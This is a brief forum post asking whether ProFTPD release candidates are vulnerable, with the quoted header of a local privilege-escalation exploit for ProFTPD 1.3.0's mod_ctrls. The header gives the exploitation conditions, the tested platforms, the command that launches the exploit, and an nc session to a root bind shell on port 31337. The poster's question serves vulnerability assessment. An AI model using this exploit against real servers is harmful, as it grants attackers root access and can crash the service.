Hmm, anyone know if the release candidates on proftpd.org are vulnerable to this?

 # Local Exploit
 #
 # [ Exploitation condition ]
 # - proftpd must be compiled with --enable-ctrls option
 # - local user needs permission to connect through unix socket (from proftpd.conf)
 #
 # This one works for 2.6 exploitation against gcc 4.x
 # Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )
 # I was able to use only a <bind_shell> as payload since a normal (setuid + execve) seems that doesn't work
 #
 # Tested against:
 # - ProFTPD 1.3.0/1.3.0a on Ubuntu 6.10 compiled with gcc 4.1.2
 # - ProFTPD 1.3.0/1.3.0a on Debian Etch(4.0.2-5) compiled with gcc 4.0.3
 # *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell
 #
 # revenge@eleusi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1
 # [ wait some secs then nc on port 31337 ]
 # anyone@anywhere:~$ nc <host> 31337
 # id
 # uid=0(root) gid=0(root) groups=65534(nogroup)
 # exit
 # [ after that server will deactivate ]
